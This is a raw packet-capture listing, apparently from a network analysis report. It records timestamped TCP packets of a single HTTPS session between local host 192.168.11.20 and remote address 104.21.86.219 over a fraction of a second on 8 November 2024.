                                                                                                                                          Nov 8, 2024 11:28:33.321171999 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.321214914 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.321470976 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.324444056 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.324516058 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.324678898 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.324712992 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.324863911 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.324919939 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.327337980 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.327404022 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.327681065 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.327712059 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.327878952 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.330131054 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.330179930 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.330370903 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.330398083 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.330502987 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.330591917 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.337218046 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.337299109 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.337472916 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.337517977 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.337640047 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.337730885 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.337999105 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.338073015 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.338300943 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.338342905 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.338495016 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.342417955 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.342502117 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.342660904 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.342713118 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.342737913 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.342989922 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.343347073 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.343419075 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.343565941 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.343641043 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.343674898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.343822956 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.345700979 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.345773935 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.346138954 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.346139908 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.346185923 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.346210957 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.346308947 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.346848011 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.348875999 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.348937988 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.349157095 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.349208117 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.349246979 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.349400997 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.351650953 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.351722002 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.352015972 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.352058887 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.352330923 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.354677916 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.354741096 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.354907036 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.354907036 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.354948044 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.355180979 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.355221987 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.364342928 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.364363909 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.364550114 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.364568949 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.364589930 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.364645004 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.364722967 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.364746094 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.364825964 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.364916086 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.364924908 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.365268946 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.436516047 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.436528921 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.436729908 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.436780930 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.436788082 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.437019110 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.439100981 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.439114094 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.439311981 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.439311981 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.439323902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.439405918 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.439523935 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.442131042 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.442143917 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.442451000 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.442461014 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.442631960 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.444853067 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.444865942 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.445029020 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.445092916 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.445105076 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.445184946 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.445317984 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.448460102 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.448472023 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.448615074 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.448678970 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.448684931 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.448798895 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.448965073 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.451351881 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.451366901 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.451535940 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.451582909 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.451627970 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.451632023 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.452296019 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.460639000 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.460660934 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.460927010 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.460937023 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.460988045 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.461132050 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.461141109 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.461261988 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.461271048 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.461354017 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.461359978 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.461419106 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.461652994 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.463433027 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.463449955 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.463624954 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.463771105 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.463777065 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.463998079 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.466228962 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.466242075 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.466480970 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.466491938 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.466557980 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.466661930 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.469896078 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.469917059 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.470092058 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.470151901 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.470164061 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.470237970 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.470313072 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.472858906 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.472877979 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.473094940 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.473105907 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.473197937 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.473340034 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.486614943 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.486634016 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.486700058 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.486747026 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.486860037 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.486872911 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.486922026 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.487027884 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.487169027 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.487185955 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.487327099 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.487334013 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.487344980 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.487416983 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.487497091 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.487616062 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.488185883 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.488204002 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.488627911 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.488641024 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.488773108 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.488929987 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.491295099 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.491314888 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.491457939 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.491506100 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.491514921 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.491687059 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.494115114 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.494132996 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.494281054 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.494415045 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.494424105 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.494632959 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.497127056 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.497144938 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.497406006 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.497416973 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.497574091 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.501562119 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.501580954 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.501893044 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.501904964 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.501912117 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.502074003 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.508595943 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.508615017 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.508795023 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.508832932 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.508841038 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.508924007 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.508936882 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.508956909 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.509103060 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.509110928 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.509155989 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.509311914 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.510760069 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.510777950 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.510895967 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.510963917 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.510973930 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.511075020 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.511198044 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.512164116 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.512176991 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.512382030 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.512392998 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.512525082 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.512614012 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.515714884 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.515729904 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.515876055 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.516061068 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.516072989 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.516244888 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.518534899 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.518553019 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.518673897 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.518723965 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.518733978 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.518826962 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.519035101 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.521369934 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.521383047 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.521562099 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.521639109 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.521645069 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.521701097 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.521936893 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.532922983 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.532934904 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.533063889 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.533075094 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.533195972 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.533257008 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.533267021 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.533276081 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.533346891 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.533541918 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.533620119 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.535135984 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.535152912 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.535301924 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.535454988 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.535455942 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.535468102 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.537190914 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.537204981 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.537369013 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.537381887 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.537451029 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.537493944 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.540195942 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.540209055 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.540385008 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.540396929 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.540514946 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.543011904 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.543028116 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.543258905 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.543270111 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.543325901 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.545597076 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.545608997 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.545751095 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.545766115 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.545830011 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.545949936 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.556963921 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.556977987 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.557121992 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.557137966 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.557146072 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.557271957 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.557284117 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.557324886 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.557399988 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.557410002 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.557533026 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.557544947 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.557738066 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.559184074 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.559196949 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.559483051 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.559498072 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.559748888 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.561408997 CET44349734104.21.86.219192.168.11.20
